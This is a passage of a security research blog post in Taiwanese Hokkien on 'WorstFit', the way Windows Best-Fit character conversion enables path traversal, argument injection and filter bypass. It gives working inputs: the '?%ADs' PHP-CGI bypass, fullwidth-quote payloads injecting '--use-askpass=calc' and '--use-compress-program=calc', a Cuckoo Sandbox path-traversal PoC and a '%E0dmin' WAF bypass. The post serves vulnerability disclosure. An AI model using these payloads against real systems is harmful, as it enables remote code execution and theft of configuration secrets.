WorstFit：搤出藏佇 Windows ANSI 內底个陷坑

阮󠇢佇這个研究發見若利用 Windows 內底佮个「Best-Fit」字集轉󠇡換功能，會使予攻擊者一个新个攻擊面。透過這个研究，阮󠇢成功共這个功能變做幾若款實用个攻擊，包括路徑穿通、參數󠇡分拆，甚至是遠󠇡端程式執行󠇡（RCE），影󠇡響著真濟󠇢有名个程式！

因為問󠇡題根源誠複雜，佮編譯器行󠇡為󠇡、C/C++ runtime、程式設計者个失覺察攏牽磕做伙，阮󠇢嘛討論著欲修補這个問󠇡題踮開󠇡源社群內底會拄著个困難。

若欲知影上新个消息佮投影片，就趕緊來阮个網站看覓个！→ https://worst.fit/

佇開󠇡始進前，咱先來設想󠇡一个狀󠇡況——假󠇡使󠇡講你是一个湠澹試驗者（penetration tester），你拄著一个網站咧走下跤這个程式碼，你敢有法度彈一个 calc.exe 出來？

<?php
  $url = "https://example.tld/" . $_GET['path'] . ".txt";
  system("wget.exe -q " . escapeshellarg($url));

你會使家󠇡己 khóo-pi 來試看覓个，這个 PHP 程式確實是有用安全个方法來執行󠇡 command 个，欲攻擊敢󠇡若󠇡有淡薄仔困難齁。

今󠇡仔日，阮󠇢就󠇢欲來教󠇡你一招󠇡全新个撇步來共伊利用。好，咱隨開󠇡始！

Decoding the Windows Encodings

若你是有捌用 Windows 个人，加減攏知影 Windows 作業系統有支援 Unicode。這󠇡代表毋管是 emoji 、𝒻𝒶𝓃𝒸𝓎 𝕤𝕪𝕞𝕓𝕠𝕝𝕤，抑是咱這馬咧用个漢字，咱攏會使共𪜶烏白囥佇咧󠇡檔案名、檔案內󠇡容，甚至環境變數󠇡內底。毋過󠇢你敢有想過，Windows 是按怎舞遮个 non-ASCII 字元个？

欲解說這點，咱愛先來探討 Windows 編碼系統个歷史，了解伊到󠇡底是按怎處理彼寡編碼。

The Early Days: ANSI and Code Pages

上開󠇡始个時陣 Windows 是用 ANSI 編碼，伊用 8 到 16 个位元來表示一个字，這套編碼是倚靠字碼頁咧運作，就像頂懸列个。雖然講這款編碼對指定󠇡語言會用󠇡得，毋過󠇢若欲處理無仝語言相濫做伙个狀󠇡況，抑是欲做各國攏會使󠇡用个字集，就󠇢無法度矣。

譬論講，我做為󠇡臺灣人，若準講我个日本朋友寄予我一篇用伊个 Windows 電腦寫个文章，我提著个凡󠇡勢會是一󠇡 thoo-lah-khuh 个亂碼爾爾，因為我正體中文 code page 950 个系統無法度正󠇡確解讀󠇡日本話个 932 code page。

咱咧討論 code page 个時有一項代誌愛注意，為著處理無仝狀󠇡況个編碼，Windows ANSI 無照一款 code page 爾爾，其實有兩種佇咧󠇡：

1. ACP（ANSI Code Page）：主要用來處理大部分應用程式佮系統設置，像檔案操作抑是管理環境變數󠇡這類个物件。因為伊對咱討論个情境影󠇡響較大，咱這擺个研究主要就󠇢是看這種 code page。
2. OEMCP（Original Equipment Manufacturer Code Page）：主要用來處理裝置之間󠇡个溝󠇡通󠇡，像講讀、寫 console 這款个操作。

遮來報恁一个撇步，你若欲看你這馬咧用个是佗一種 ACP（ANSI code page），會使試看覓這規種方法：

1. 用 PowerShell 揣

powershell.exe [Console]::OutputEncoding.WindowsCodePage

2. 對󠇡 Registry 內底提

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage /v ACP

你可能嘛有聽過 chcp，毋過󠇢愛注意，chcp 顯示个是 OEMCP，毋是咱這擺研究重󠇡點个 ACP。

The Unicode Era: UTF-16

為著解決 code page 个限制，Windows 佇 1990 年代差不多欲過一半彼陣，就開󠇡始沓沓仔改做使󠇡用 Unicode。這 Unicode 就袂輸一个「萬國碼」，佮彼个舊舊个 ANSI 無仝，伊一套就差不多會使共全世界奇奇怪怪个字攏總攢便便。上初，Windows 是用 UCS-2 來處理 Unicode，毋過󠇢無偌久了後就󠇢升級至 UTF-16，這款編碼一󠇡般時用 16 bit 來代表大部分字，對較罕得看个字（像 emoji、古文）會湠到 32 bit。當󠇢然，Windows 內󠇡部嘛改用闊字元（wide char）來處理核心 API，像檔案系統、系統資訊、文字處理遮个核心功能——對󠇡遮開󠇡始，內󠇡部个資料攏用 UTF-16 个格式來囥矣。

你這馬可能會好󠇡玄講：欸，啊咱今󠇡仔日上時行个 Unicode 編碼 UTF-8 走佗位去矣？其實伊嘛早就覕佇 Windows 無毋著，毋過󠇢原󠇡仔猶閣佇咧󠇡試驗階段。對大部份地區个語言來講，UTF-8 个功能其實是無預設拍開个，像講咱平常時咧用个「繁體中文（臺灣）」就󠇢是按呢。

The Dual Era of Encoding

雖然講 Unicode 已經成󠇡做 Windows 个主軸，毋過󠇢 Windows 猶是愛照𪜶定定咧做个作法：向下相容，𪜶原󠇡仔是需要支援頂个時代个 ANSI code pages。為著欲達成這个目󠇡標，Windows 有設計兩種無仝版本个 API：

• ANSI API：用 Windows code page 編碼个版本，函式名尾仔會加一粒「A」做字尾，表示「ANSI」。譬如講 GetEnvironmentVariableA 函式。
• Unicode API：用󠇡 Unicode 編碼个版本，函式名尾仔會加一粒「W」做字尾，表示「wide（闊字元）」。譬如講 GetEnvironmentVariableW 函式。

這款設計予開󠇡發者會使簡單󠇡用換 A 抑是 W API 字尾个方式，來掠欲使󠇡用个資料格式。聽起來敢󠇡若󠇡誠袂䆀——毋過󠇢小等一下，闊字元（UTF-16）个字串是按怎會當變做 ANSI 格式？𪜶本底敢毋是完全無仝款物件？

咱會使󠇡用一个例來解釋。

假󠇡使󠇡講咱這馬咧用一个英語系統（Windows-1252 code page），佇環境變數󠇡內底設一个變數󠇡號做 ENV=Hello 个時，你敢有法度臆著佇咧󠇡系統內伊會用啥物󠇡格式來囥？無毋著，資料佇系統內面當󠇢然攏是照 UTF-16（闊字元）來囥，毋過󠇢咱猶是會當用 Unicode API 佮 ANSI API 來共伊提：

• Unicode API：GetEnvironmentVariableW(L"ENV") ⭢ L"Hello" （十六進位：4800 6500 6C00 6C00 6F00 ，UTF-16LE）
• ANSI API：GetEnvironmentVariableA("ENV") – RtlUnicodeStringToAnsiString ⭢ "Hello" （十六進位：48 65 6C 6C 6F ， ANSI）

若講用 Unicode API，一󠇡切󠇡攏無問󠇡題：輸入 Unicode，輸出嘛是 Unicode，完全毋免轉󠇡換。若換做 ANSI API，Windows 會自動叫 RtlUnicodeStringToAnsiString（有个時是 WideCharToMultiByte）來共原本个 Unicode 字串轉做 ANSI 字串。因為 "Hello" 攏是 ASCII 字元，ANSI 上代先就家󠇡己有支援，轉󠇡換當󠇢然攏會得順順仔來，完全袂脫󠇢箠。

毋過󠇢，若是字串變了較複雜會按怎？若是咱个環境變數󠇡內底囥个字串是 √π⁷≤∞ 這个攏是非 ASCII 字元个物件呢？

• Unicode API：GetEnvironmentVariableW(L"ENV") ⭢ L"√π⁷≤∞" （十六進位：1a22 c003 7720 6422 1e22 ，UTF-16LE）

佇 Unicode API 就󠇢照起工提著原本个字串，這󠇡原󠇡仔無問󠇡題。毋過󠇢，咱若用 ANSI API 來掠呢，Windows 是欲按怎共 2 bytes 个字變做 1 Byte？你敢會當臆著結果？

• ANSI API：GetEnvironmentVariableA("ENV") → RtlUnicodeStringToAnsiString ⭢ "vp7=8" （十六進位：76 70 37 3D 38，ANSI）🤯

毋著呢，轉出來个結果哪會煞變做 vp7=8？這个結果實在是有夠奇怪，完全看攏無這个結果共原本个字元有啥底󠇢代！

這款怪奇个轉󠇡換行󠇡為󠇡，就󠇢是傳說󠇡中个「Best-Fit」。攏是因為這个行󠇡為󠇡，予頭先个字串 √π⁷≤∞ 變做完全毋知是啥个 vp7=8。這󠇡突顯出，開󠇡發者咧處理非 ASCII 字元个時，若硬用 ANSI API 無的󠇢確會致著想袂到个行󠇡為󠇡。

其實，這󠇡毋但發生佇咧󠇡用 Windows API 時，連用毋是闊字元版本个 CRT（C runtime）函式，像 getenv 个時嘛會發生這種狀󠇡況。甚至講干焦󠇡用上簡單󠇡个 main 函式接收參數󠇡抑是環境變數󠇡，仝款个問󠇡題嘛會浮出來。

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[], char* envp[]) {
    print("TEST_ENV = %s\n", getenv("TEST_ENV"));
    for (int i = 0; i < argc; ++i)
        printf("argv[%d] = %s\n", i, argv[i]);
}

就󠇢像你看著个按呢，Best-Fit 个行󠇡為󠇡嘛會發生佇程式个參數󠇡佮環境變數󠇡。

這个狀況發生个原因是，佇編譯个時，編譯器會自動踮程式內面插入去幾若个函式，嘛會去連結一寡 CRT DLL（C Runtime Library）來予伊用，毋過遐个函式內底窮真攏是靠 ANSI Windows API 來運作。結果就是，Best-Fit 个行為會偷偷仔予 Windows 觸發著。

咱共 Best-Fit 直直咧硞硞講，毋過論真，這个奇怪个轉換个理路到底是按怎運作个呢？

It was the Best of Fit

簡單來講，若是一个 Unicode 字元無法度佇這馬个 code page 內底揣著對應字來代表，Windows 就會去揣一个伊感覺「上接近」个字元來代替。譬論講像咱頭拄仔看著个例， ∞ (U+221E) 這个 Unicode 符號無佇 Windows-1252 code page 內底，微軟煞決定共伊對應做 8 (🔍)。呃，嘿啦這兩个確實有一屑仔成，毋過，彼敢毋是完全無仝意思……好啦煞煞去，莫閣想矣咱來繼續看。

這个「上接近」个標準完全是微軟家己烏白想个，若是𪜶認為量其約「感覺起來相𫝛」就共伊自作自專鬥做伙，咱完全無法度控制。雖然這款設計是欲予人方便處理相容性，毋過佇現代程式內，真濟時陣這款「好物仔」顛倒會出大代志。

而且， 無仝个系統語言設定煞會對應出無仝个結果。譬如講仝款是日圓符號 ¥ 个 Unicode U+00A5，佇日文 code page（932）會變做 「\」（倒撇號）；佇中歐 code page（1250）會變做大本字个「Y」；別个 code page，基本攏維持原本个 「¥」 無變——這種變化對攻擊佇無仝系統語言个電腦个表現有誠重大个影響。

趣味个是， 阮研究个時陣發現，這種 Best-Fit 行為其實早佇 Black Hat USA 2009 就有講過，Chris Weber 佇伊个 「Unicode Security」 簡報內底有寫著。毋過，當時干焦簡單講講，講著這功能會使予人踅過簡單个烏名單過濾爾爾。毋過，這擺咱會當閣看較深一點仔！ 阮這擺紹介个這種利用 Best-Fit 轉換个攻擊方式會當作用佇規个系統層級，來造成閣愈嚴重个效果。

Later we also learned that Yosuke HASEGAWA also mentioned this behavior at Black Hat Japan 2008, covering part of our Filename Smuggling in Japanese code page.

Ok，咱已經共 Best-Fit 講甲喙角全泡矣，紲落來，總算來到共這種古怪个行為轉變做真正致命个 WorstFit 漏縫个時陣，咱隨來看！

It was the Worst of Fit – The novel attack surface on Windows

深入研究 Best-Fit 了後，咱會使運用這種逐家意料之外个字元轉換特性，開創出 Windows 系統內底一个全新个攻擊面。

踮遮，咱欲紹介共這个行為濫使舞，造成个三種好耍个攻擊新方法！

1. 檔名偷渡（Filename Smuggling）
2. 參數分拆（Argument Splitting）
3. 環境變數混亂（Environment Variable Confusion）

逐家一个一个來看，咱是按怎共這款遮爾貼心（上無 Microsoft 當初有按呢想啦） 个功能，變做嚴重个安全漏縫！

🔥 The nightmare of East-Asia - CVE-2024-4577

這就是阮上初發現个 WorstFit 漏縫！這个漏縫予攻擊者，會使透過簡單个 ?%ADs 請求來入侵任何使用著中文（簡體/繁體）佮日語 code page 設定个 PHP-CGI 伺服器！

佇 2012 年，有一个嚴重个 PHP-CGI 个漏縫去予人發現著。成因是 Apache 會自動共查詢字串（query string）當做 CGI 程式个頭一个參數。利用方式誠簡單，就是做參數注入。干焦佇請求路徑个尾仔加囥一个 ?-s，攻擊者就會當偷漏洩規个原始碼。毋但按呢，這个漏縫猶有可能予人用來達成 RCE。

當然，PHP 連鞭就共這个問題補好勢矣。修補个方法嘛真簡單：若準講查詢字串是以連劃（-）開頭，就莫共參數解析。

if((qs = getenv("QUERY_STRING")) != NULL && strchr(qs, '=') == NULL) {
   /* ... omitted ... */
   for (p = decoded_qs; *p && *p <= ' '; p++) { /* skip leading spaces */ }
   if (*p == '-') {
      skip_getopt = 1;
   }
    /* ... omitted ... */
}

這个修補个方法敢若是有成功，佇這十二年攏無人共伊踅過，猶毋過佇 Orange 共 patch 閣看了一擺个時陣，伊就感覺嘿這毋著呢，這款个烏名單敢若無講偌勇。有這个想法了後，伊就隨來共伊簡單 fuzz 一下——無發（fuzz）無發現，一發不得了，伊煞發現一个簡單个方式會使共伊踅過：改用 ?%ADs 就好矣！輕輕鬆鬆。

毋過哪會遮爾簡單就通踅過呢？伊閣加看深一點仔，煞發現這其實是 Best-Fit 造成个，U+00AD (soft hyphen) 佇咧中文（932、950）佮日語（932）攏會變做連劃（-），這就會使解說是按怎這个方式會得踅過 patch。

這就是咱頭一擺拄著「Best-Fit」這个名詞个契機，了解伊个原理了後，阮較發現這實在是誠趣味，嘛予阮愈想欲閣研究較深一層！

🔥 Filename Smuggling

後一个欲紹介个是發生佇檔名處理个 WorstFit。咱重點會囥佇 Best-Fit 了後會變做「/」(0x2F) 抑是「\」(0x5C) 這類个字，像日本字碼頁內底个日圓符 (¥)、韓語字碼頁个韓圓符 (₩)，閣有其他大部份字碼頁內底个全形正撇號佮倒撇號。你會使用阮个 Best-Fit Mapping Grepper 个家私來揣受著影響个字元佮碼表！

• Characters mapped to "/" (0x2F)
• Characters mapped to "\" (0x5C)

咱先對一个較簡單个例開始：Chrome V8 予開發者用个 shell （d8.exe）。伊內底个實作是用 ANSI API GetCurrentDirectoryA() 來提你現此時佇咧个目錄。這表示，若咱生有一个資料鋏仔出來，彼名內底有一寡怪怪个 Unicode 字元，遐个字元佇 d8.exe 用 ANSI API 去讀个時陣就煞會自動變做路徑穿通 (path traversal) 个 payload。結果，就會予伊去讀著無應該讀个檔案。

閣有一个例是 mruby 个 Dir.getwd() 佇 Windows 个實作，這个函式是靠 ANSI 版本个 CRT（C 執行期函式庫） _getcwd() 來提目前个目錄。這嘛表示，咱會當共遮个函式个回傳值舞共歪膏揤斜，造成路徑穿通！

當然啦，頂面彼寡例攏是 bug 爾爾，毋是真正會害著人个漏縫。今咱來看一寡真正會出代誌个案例！

➤ Case Study - Path Traversal to RCE on Cuckoo Sandbox

欲講這漏縫進前，因為 Python 佇這个案例內底是足重要个腳數，咱先來共伊紹介一下！概念上來講，Python 一直攏會當共字串用兩種無仝款个型別來表示：佇 Python 2 是 str 佮 unicode，無就是佇 Python 3 个 str 佮 bytes。

為著欲支援這兩種字串表示方式，檔案系統存取个實作，是用一个欄位來決定目標路徑个字串是闊个抑是狹个。若是狹个，就會用對應个 ANSI API 來處理路徑，按呢就予伊會予 Best-Fit 行為害著。雖然 PEP 529 之後共 Windows 个檔案系統編碼攏標準化做 UTF-8，毋過較早个版本，像 Python 2 佮 Python 3（3.6 版進前），猶是攏會予 WorstFit 攻擊創空。

了解頂面遮个底系了後，咱來看咱个一个目標——Cuckoo Sandbox，這是一个足出名个自動惡意軟體分析平台。因為伊是早期少數有開源个惡意軟體分析解決方案之一，所以是公司欲建立家己个平台，佮研究惡意軟體个人欲家己擴充伊个功能上愛揀个選擇。毋過，因為 Cuckoo 已經足濟年無好好仔維護，上新个官方版本猶是用 Python 2.7 來走，予咱个 WorstFit 攻擊有機會共伊利用矣！

Cuckoo 伊包括兩个主要部份：Cuckoo Host 佮 VM Cluster。傳去入个樣本是關佇咧虛擬機器內底，來確保𪜶袂共 Cuckoo 用歹。這兩箍元件是用一个特殊管道，照𪜶家己个方法來 sync 行為，像掠到个網路封包、落地个檔案、佮輸出日誌等等。毋過，因為 Cuckoo Host 是對 Python 寫个，閣是用古早个版本，所以若一个落地檔案是用有歹意个 Unicode 檔案名，就煞會當佇 Cuckoo Host 引起路徑穿通！

遮有一个簡單个 PoC：

#include <windows.h>

int main() {
    LPCWSTR filePath = L"AAAA\u00a5..\u00a5..\u00a5..\u00a5..\u00a5..\u00a5conf\u00a5cuckoo.conf";
    HANDLE hFile = CreateFileW(
        filePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    );
    
    CloseHandle(hFile);
    return 0;
}

若共這程式編譯、上傳，閣予 sandbox 分析煞了後，使用者會當踮網路介面來看惡意軟體生出來个日誌佮檔案。攻擊者會當點一下下載鈕仔叫 Python 來處理檔案，Cuckoo Host 就會去處理一个予 Best-Fit 轉過个 path，內底就佮有 ../，造成 WorstFit 个攻擊，紲落來伊就會共重要个資料雙手捧予攻擊者。

到今，攻擊者會當輕鬆共 cuckoo.conf 這个設定檔掠落來，提著內底幾項敏感个資料，來共 Flask PIN 碼算出來，這个 PIN 碼會當用來控制 Sandbox Host，落尾就佇 Sandbox Host 造成 RCE 啦！

🔥 Argument Splitting

阮嘛會使利用 WorstFit 這个行為來影響 command line 个解析，共 GetCommandLineA 个輸出控制著。若用這个撇步，攻擊者準做干焦會使控制一个參數內底个一部份爾爾，嘛已經有夠予𪜶烏白注入去閣愈濟个參數。

這擺，咱主要愛來注意會對應做雙引號（" , 0x22）抑是倒撇號（\ , 0x5C）个字元。無毋著，遮閣一擺，全形字元佮進前講著个貨幣符號（¥ 佮 ₩）閣再變做咱扭掠个家私矣！

• Characters mapped to " (0x22)
• Characters mapped to \ (0x5C)

咱轉來看覓上頭前講个彼段程式碼。這段看起來若簡簡單單个程式，到底是按怎會出問題？攻擊者會當按怎共伊利用？

<?php
  $url = "https://example.tld/" . $_GET['path'] . ".txt";
  system("wget.exe -q " . escapeshellarg($url));

答案真簡單。攻擊者若輸入：＂ --use-askpass=calc ＂，就會當佇系統彈一个 calc.exe出來！這是發生啥物代誌？

到遮，恁可能會臆講「啊，一定是 PHP 閣咧亂亂來，是無？我就知，PHP 總是……」——毋過毋是喔！準講咱換做 Node.js、Python 甚至是 Rust 結果嘛無變。遮來予恁看一个 Python 个例，佇遮，共拄仔彼仝款个輸入嘛是會得用，而且這擺是佇上新个 Python，毋是像頂一段彼種較舊个版本：

from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route('/fetch')
def fetch():
    path = request.args.get('path')
    subprocess.run(["wget", "-q", f"https://example.tld/{path}.txt"])
    return "Done"

所以，這敢是 wget 个問題？講起來，伊嘛有份無毋著，但是毋但伊爾爾，仝款个撇步換去別个程式嘛个通，親像 openssl.exe、tar.exe、java.exe，閣有足濟 CLI 家私攏會得用。這予咱了解著，這凡勢是 Windows 處理參數个方式出現系統性个問題，予逐種程式攏有空縫通好軁。所以，到底是按怎會發生這款代？

咱轉來看覓咱个 payload ＂ --use-askpass=calc ＂。我臆這馬猶有人佇咧想：等下，干焦一个簡單个雙引號，是按怎閃過跳脫（escaping）个？若是遐爾簡單伊到底是咧跳啥物脫？好啦，頭起先，這就毋是普通个雙引號 (U+0022) ——其實彼是全形雙引號 （U+FF02）啦 😉。多謝 Best-Fit 這个功能，佇像 125x 佮 874 這款个字碼頁 (code page)，全形雙引號攏會自動變做普通个雙引號 (🔍)。

這馬咱可能閣猶想袂曉，囥雙引號佇遐爾爾，是按怎就會當注入參數？

第一，佇 Windows，規條命令列是當做孤項个字串去傳予欲走个程式个，予伊家己來解析，這代表程式家己愛負責共這條字串切做參數，就是因為按呢，CreateProcess API 是直接提著 lpCommandLine 參數。無像 UNIX 系統，彼爿个參數攏是當做陣列來傳个，佇作業系統个時就會先共伊切予好。所以，佇 Windows 若程式對雙引號个處理無做予好，就會予人有機會共參數烏白舞。欲了解 Windows 參數解析个閣較濟个鋩鋩角角，請看 David Deley 个文章。

第二，因為命令列字串佇內底是用闊字元 (Unicode) 格式囥个，欲提著 ANSI 个版本，就需要 Windows 用 GetCommandLineA API 來掠。當然，Best-Fit 功能會佇這个過程發揮作用，有可能佇咱無注意个所在，來共命令列改甲亂七八糟。

毋過論真講，Windows 頂面無一个「標準」个方式來解析命令列，但是原仔是有逐家慣勢个方式——一般來講是照 CommandLineToArgvW ，抑無就是用 CRT 命令列解析个規則。究其然實務上來看，大部分个寫程式个攏是用 CommandLineToArgvW 抑是 CRT 標準个 int main(...) 來處理命令列參數無毋著，自然逐个程式語言欲 escape 嘛是照這套規矩，所以咱會當共彼當做標準。 佇這款標準來講，解析過程中央所牽磕到个字元包括：

• Tabs (0x09) 佮 spaces (0x20)：這是用來共命令列个參數拆開个，毋過若佇引號內底就無算。
• " (0x22)：這个功能是共引號模式切換，若佇引號內底，空格嘛會得當做參數个一部份。
• \ (0x5C)：伊會共雙引號佮倒撇號跳脫，避免影響著命令列个解析。

這套規則，就是決定參數按怎解讀、按怎傳予執行檔个底。

所以，大部份程式語言个標準函式庫攏照這套規矩來舞使用者提供个參數。譬論講，PHP 內面个 escapeshellarg 這隻函式，會共雙引號換做空白，閣共參數用引號包起來。嘛會照需要去跳脫倒撇號，確保佇 shell 內底執行無問題閣安全。仝款，踮 Python 內个 subprocess 這个 module 內面是用 list2cmdline 這隻函式，伊會得來共 Python 个 list 變做命令列字串，照 Microsoft CRT 命令列解析个規則，嚴格脫逸參數。

毋過，遮个跳脫攏是佇 Best-Fit 功能走出來攪擾進前發生个。這表示就算講有細膩，有好好仔共參數跳脫，嘛有可能踮 ANSI 轉換个過程中予改甲亂七八糟。

咱予逐家看一个簡單个例，咱就用進前講過个 Python 程式碼，來看覓下 subprocess 這个 module 欲走 wget.exe 時，到底有發生啥物代誌。規个參數解析个過程，大約會是按呢：

咱攏有看著矣，全形引號 (U+FF02) 佇 Best-Fit 轉換个時陣，會變做普通仔个雙引號 (U+0022)。這款一屑仔个改變，會共頭先个命令列語法改掉，予咱會當造成參數分拆 (argument-splitting) 个動作。

閣較慘个是，就算講程式無直接用著 GetCommandLineA，若準伊原仔是靠彼無 Unicode 版本个 main 函式，嘛有可能會予這个攻擊害著。無毋著，咱咧講个就是彼个看起來若無啥物个 int main()！

咱會當來做一个簡單个試驗。若講是這段程式碼：

#include <stdio.h>

int main(int argc, char* argv[], char* envp[]) {
    for (int i = 0; i < argc; ++i)
        printf("argv[%d] = %s\n", i, argv[i]);
}

這馬，咱執行命令 .\test.exe "foo＂ ＂bar"，伊確實會生出兩个參數，像下面按呢：

而且，Python 个 subprocess module 嘛無辦法共這个步數擋落來。就算你共規條字串攏總包佇單一一个 list 內底，想講按呢就穩觸觸無代誌，結果猶是會予解析做兩个無仝个參數。

是按怎普通个 main 函式好好仔佇遐會變做有漏縫咧？就是因為 C Runtime 處理命令列參數个方法佇創空你。嘿，你無直接去叫 GetCommandLineA 無毋著，毋過若講你用 int main() 函式，編譯器就會踮你个 binary 內底偷偷仔生一个 mainCRTStartup 函式出來。這个起動函式是連去 CRT 函式庫彼爿 （譬論講 ucrtbase.dll），伊佇內底是先用 ANSI API 來掠命令列，閣才共伊解析。這就是漏縫趖出來个所在！

這規个過程，就是為啥物遮濟執行檔攏會予 WorstFit 漏縫害著个原因。閣較害个是，因為這个攻擊是利用系統層佇轉換過程中个行為，所有程式語言內佮个函式庫攏無才調好好仔共咱這款个攻擊擋落來！

毋過，干焦佇 125x 佮 874 字碼頁，全形引號 (U+FF02) 才會變做普通个雙引號。按呢，CJK（中文、日文、韓文）語言咧？𪜶這馬敢就安全矣？無喔，雙引號毋是咱會當用來發動這款攻擊个孤一个字元！

像佇 filename smuggling 彼節所講个，日語（932）个日圓符號 (U+00A5)，佮韓國（949）个韓元符號 （U+20A9），攏會變做倒撇號。倒撇號會當創啥？足濟个！像咱討論過个，倒撇號是跳脫字元、改變命令列語法个關鍵，這表示伊會當予咱利用來控制命令个解析。

咱用這段 Python 程式碼來做例：

subprocess.run(['vuln.exe', 'foo¥" bar'])

這个時陣，Python 會共咱鬥 escape，佇咱這个例就是跳脫雙引號。好，完成了後，命令列應該會變按呢：

vuln.exe "foo¥\" bar"

Python 佇雙引號頭前加閣加一个倒撇號來共伊跳脫。看起來敢若袂䆀，所以 Python 就共這條命令列傳予 CreateProcessW API，vuln.exe 嘛順順仔起行。真好！毋過問題就踮這。vuln.exe 程式是用 ANSI API 來提命令列。多謝 Best-Fit 功能（閣來啊），日圓符號 (¥) 會變做反斜線 (\)。這馬，vuln.exe 看著个命令列煞變按呢：

vuln.exe "foo\\" bar"

Python 拄才加个倒撇號，這馬煞予「變做倒撇號个日圓符號」escape 無矣。落尾，彼个原本个雙引號就袂當予跳脫好勢，這馬伊就變做正正實實个雙引號矣——vuln.exe 个參數予拆做兩部份：foo\ 佮 bar。

當然，會變做空白抑是 tab 个字元，嘛會當用來做參數分拆。這部份就予恁家己試看覓啦 😉。

這馬，咱已經探過大部分會當利用 WorstFit 來做參數分拆个方法。咱來深入了解一寡誠實世界个漏縫，來看這个攻擊實際發生个狀況。

➤ Case Study 1 - ElFinder: RCE w/ Windows built-in GNU Tar

咱个 case study 內面，咱其中一个例是欲紹介一个因為 Windows 內佮个 tar.exe 命令出現 WorstFit 漏縫，造成 ElFinder 會得予人遠端執行程式 (RCE) 攻擊。

ElFinder 是一个足有名个開源、Web 介面个檔案管理器，後端是用 PHP 寫个。伊本底就支援 Windows 伺服器，閣有一个內佮个功能予使用者會當建立佮解壓縮壓縮檔，而且這个功能本來就是開開个。

伊處理壓縮檔格式个方法足簡單，就是直接叫 shell 命令來做。聽起來足危險？嘛有可能喔，毋過寫程式个有用 escapeshellarg（php/elFinderVolumeDriver.class.php#L6898-L6911）來好好仔跳脫所有个參數，保護確實是有做予好。

就算按呢，若歹運拄到像 Windows 个 Best-Fit 功能這款怪奇个代， 佇應用程式層做跳脫，嘛無法度共風險擋掉。ElFinder 支援个壓縮檔格式其中一个是 tar 格式。伊是用系統內佮个 tar.exe 命令來建立抑是解壓縮壓縮檔。譬論講，若咱生一个叫做 foobar.tar 个壓縮檔，內底欲有 foo.txt 佮 bar.txt 這兩个檔案，ElFinder 就會執行下面這个命令：

tar.exe -chf "foobar.tar" ".\foo.txt" ".\bar.txt"

毋過，咱有發現 Windows 內建个 tar.exe 命令，會予 WorstFit 攻擊害著！這表示，就算你干焦會當控制一个參數內底个一點仔，煞就有可能執行任何命令——閣較詳細个資料，請看咱整理个表。

欲利用這个漏縫，咱干焦愛共 tar 檔案號做 aaa＂ ＂--use-compress-program=calc＂ ＂bbb.tar (＂ 是 U+FF02) 就好矣。這會共 --use-compress-program 參數注入，倚靠這个參數，咱會當執行任何命令矣。佇咱个 demo 內底，阮就來共 calc.exe 彈出來。

佇這个 demo 內底，咱是共 Windows 伺服器設做英文，伊个 code page 是 1252。毋過這招毋是干焦佇 1252 會通， 佇其他 125x 佮 874 个 code page 設定嘛攏會當用喔。

➤ Case Study 2+ - All the Ways to Code Execution

當然啦，毋是干焦彼寡直接受影響个應用程式，閣有足濟應用程式，因為伊去叫其他本身有 WorstFit 漏縫个程式，所以間接嘛會予這个漏縫害著。踮遮咱舉兩个例來共恁展示一下：

🔥 Environment Variable Confusion

若像 GetEnvironmentVariableA、GetEnvironmentStringsA 抑是 char *getenv(const char *varname) 這款个函式咧用个時陣，𪜶會回傳環境變數个 Best-Fit 版本。這个看起來無啥个行為，會當予人利用來踅過字元个限制，予攻擊者有機會迵過原本應該無問題个驗證，來造成安全漏縫。

欲利用這个漏縫，環境變數愛是使用者會當控制个，這款狀況定定發生踮父行程欲傳資料予生出來个子行程个時陣。

一个足捷看个例是佇 CGI (Common Gateway Interface)，HTTP 請求个資料——像查詢字串、HTTP header 之類个——大部分攏是透過環境變數來傳个。這就予攻擊者有機會來控制這寡變數，來利用這个行為。踮遮咱來紹介兩个 case study，來予恁做起頭，予恁想看覓閣有啥物趣味个步數。

➤ Case study 1 - 踅 WAF

佇有寡狀況，CGI 可能會予當做路由服務。這款時 URL 路徑就佇咧 CGI 檔名了後个部份，就會囥佇環境變數 PATH_INFO 內底。一个較捷看个例，可能是開發者欲閘掉對敏感 endpoint 个存取，像講佇伺服器限制 /cgi.pl/admin，無佇 CGI 本身去限制个狀況。譬論講，佇 Apache 个設定，𪜶可能會共下跤這个規則加入去來莫予別位个電腦存取：

<Directory "/var/www/cgi-bin">
    <If "%{REQUEST_URI} =~ m#/admin#">
        Require all denied
    </If>
</Directory>

毋過因為佇 Windows 个 Perl 四界攏有 WorstFit 个問題，欲踅這个規則，咱就會當用 Best-Fit 个對應符號來共 admin 這五字內底个字元換掉。比如講，佇字碼頁 1250，字元 à (U+00E0) 佇 ANSI 轉換个時陣會變做普通个細本字 a，咱就會得透過生出像 /cgi.pl/%E0dmin 這款个 URL，輕鬆踅過 Apache 个規則。

因為伺服器共「/àdmin」看做佮「/admin」無仝條路，所以 Apache 無理由愛共攻擊者擋落來，毋過 Perl 个 CGI 伊是用 ANSI API 來提著 PATH_INFO 環境變數，結果佇 Best-Fit 轉換了後煞共伊做 /admin 來處理。

➤ Case study 2 - PHP-CGI Local File Inclusion (LFI)

頭前彼个例子是假想个，咱遮就來講一个是阮發見个誠實案例——佇 Windows 个 PHP-CGI 內面，阮發現一个問題會使予攻擊者檢查檔案敢有佇遐，甚至佇一寡設定，會得造成 LFI 个漏縫！

這个問題根本个原因嘛是佇 PATH_INFO 佮其他路徑相關个環境變數處理理路。咱今就來看覓个：

假使講有一个像按呢个 URI：http://victim.tld/index.php/foo/bar，伺服器（譬論講 IIS、Apache 抑是其他 PHP-CGI 相容个物）共伊處理了後，伊會產生幾若个環境變數，踮無仝伺服器會有無仝个結果。佇 Apache 頂懸可能會生做按呢：

REDIRECT_URL=/index.php/foo/bar
REQUEST_URI=/index.php/foo/bar
PATH_INFO=/index.php/foo/bar
PATH_TRANSLATED=C:\inetpub\wwwroot\index.php\foo\bar

逐家注意來看PHP 个檔案名（index.php）佮別个路徑（/foo/bar）佮起來个方法——咱若干焦看環境變數，其實咱看無佗一个部份是代表 PHP 檔案，佗一个是另外个 PATH_INFO，解決這个無清無楚个狀況就變做 php-cgi.exe 伊个代誌。嗯……按呢 php-cgi 應該足清彩就會予人舞甲花翱翱齁？

